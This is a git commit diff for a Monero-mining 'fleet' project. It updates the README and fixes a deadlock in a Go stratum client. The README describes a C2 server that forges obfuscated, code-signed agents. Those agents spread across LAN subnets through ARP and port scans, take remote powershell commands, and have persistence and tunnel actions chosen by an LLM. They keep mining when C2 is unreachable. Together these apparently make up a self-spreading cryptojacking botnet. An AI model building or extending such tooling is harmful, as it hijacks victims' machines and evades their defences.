fix: stratum deadlock + contrib-row CSS + README update for recent features
This commit is contained in:
23
README.md
23
README.md
@@ -50,11 +50,19 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
|
||||
### Command Deck (Dashboard)
|
||||
- **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
|
||||
- Live fleet hashrate, CPU/RAM gauges, share feed
|
||||
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber)
|
||||
- **Fleet Health Score** — weighted 0–100 score (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
|
||||
- **Contribution Map** — per-agent hashrate bars showing each machine's fleet share; displays USD/day per agent when XMR price is loaded
|
||||
- **Underperformer list** — machines below 70% of fleet median, with one-click "Restart All" to remediate laggards
|
||||
- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
|
||||
- **LAN Group View** — agents grouped by /24 subnet; online count and aggregated hashrate per segment
|
||||
- **Simple / Advanced toggle** — hides charts, logs, and AI panels by default; persisted across sessions
|
||||
- **XMR price** — server-side CoinGecko fetch, 10-minute cache; displayed on the Earnings Estimator card
|
||||
- **Earnings Estimator** — XMR/day formula estimate (or live pool data from SupportXMR); USD/day and time-to-payout shown when XMR price is available
|
||||
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber); staleness ring highlights agents that claim "online" but haven't been seen in >5 minutes
|
||||
- Per-agent cards with pause / resume / stop / uninstall
|
||||
- Fleet alerts (offline, hashrate drop, rejection spikes)
|
||||
- Pool connection status, earnings estimate, AI activity panel
|
||||
- Optional matrix stream overlay
|
||||
- Pool connection status and AI activity panel (Advanced mode)
|
||||
- Optional matrix stream overlay (Advanced mode)
|
||||
|
||||
### Fleet Roster (Agents)
|
||||
- Every connected worker — hostname, IP, cores, memory, uptime
|
||||
@@ -124,8 +132,12 @@ fusion-deliverables/Vacation/
|
||||
|
||||
### Under the Hood
|
||||
- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate
|
||||
- **Stratum fallback** — agent mines directly to the configured pool when C2 has been unreachable for >30 seconds; cycles through backup pools; stops and hands off back to C2 when the server reconnects
|
||||
- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
|
||||
- **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret
|
||||
- **Hashrate reporting** — agent divides accumulated hashes by the elapsed interval (not a raw counter); 15s / 1m / 15m rolling averages sent on each stats tick
|
||||
- **Process guard** — Unix `pgrep` fix: correctly matches only the agent binary (no false-positive self-kill)
|
||||
- **ARP-first subnet scan** — autospread reads the OS ARP cache to find live LAN hosts before falling back to a full /24 port sweep; reduces noise from 253 cold probes to typically 5–20
|
||||
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated)
|
||||
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH
|
||||
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
|
||||
@@ -242,6 +254,11 @@ crypto miner/
|
||||
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
|
||||
| GET | `/api/v1/agents` | Fleet list |
|
||||
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) |
|
||||
| POST | `/api/v1/agents/bulk-command` | Send same command to multiple agents |
|
||||
| GET | `/api/v1/alerts` | Active fleet alerts |
|
||||
| GET | `/api/v1/pools/status` | Stratum pool connection states |
|
||||
| GET | `/api/v1/earnings/estimate` | XMR/day estimate (or live SupportXMR data) |
|
||||
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
|
||||
| WS | `/ws/agent` | Worker connection |
|
||||
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed (token = base64 of `user:pass`) |
|
||||
|
||||
|
||||
@@ -203,7 +203,10 @@ func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) erro
|
||||
}
|
||||
})
|
||||
|
||||
// Submit writer goroutine.
|
||||
// innerDone is closed when runPool returns for any reason (connection error
|
||||
// or stopCh). It signals the submit goroutine to exit even when stopCh is
|
||||
// still open, preventing a hang until the next share arrives.
|
||||
innerDone := make(chan struct{})
|
||||
submitDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(submitDone)
|
||||
@@ -211,6 +214,8 @@ func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) erro
|
||||
select {
|
||||
case <-stopCh:
|
||||
return
|
||||
case <-innerDone:
|
||||
return
|
||||
case share, ok := <-shareCh:
|
||||
if !ok {
|
||||
return
|
||||
@@ -235,7 +240,22 @@ func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) erro
|
||||
}
|
||||
}
|
||||
}()
|
||||
defer func() { <-submitDone }()
|
||||
// Signal the submit goroutine and wait for it when runPool returns.
|
||||
defer func() {
|
||||
close(innerDone)
|
||||
<-submitDone
|
||||
}()
|
||||
|
||||
// Close the TCP connection as soon as stopCh fires so that the blocking
|
||||
// reader.ReadString call (120 s deadline) unblocks immediately rather than
|
||||
// making callers wait up to two minutes for the fallback to stop.
|
||||
go func() {
|
||||
select {
|
||||
case <-stopCh:
|
||||
_ = conn.Close()
|
||||
case <-innerDone:
|
||||
}
|
||||
}()
|
||||
|
||||
// ── Job receive loop ──────────────────────────────────────────────────────
|
||||
// keepalive every 60 s
|
||||
|
||||
@@ -230,7 +230,7 @@ export function ContributionBars({
|
||||
const agentXmr = xmrPerDay != null ? xmrPerDay * (b.pct / 100) : null;
|
||||
const agentUsd = agentXmr != null && xmrPrice ? agentXmr * xmrPrice : null;
|
||||
return (
|
||||
<div key={b.id} className="contrib-row">
|
||||
<div key={b.id} className={`contrib-row${agentUsd != null ? ' has-usd' : ''}`}>
|
||||
<span className="contrib-name" title={b.name}>{b.name}</span>
|
||||
<div className="contrib-track">
|
||||
<div className="contrib-fill" style={{ width: `${b.pct}%` }} />
|
||||
|
||||
Reference in New Issue
Block a user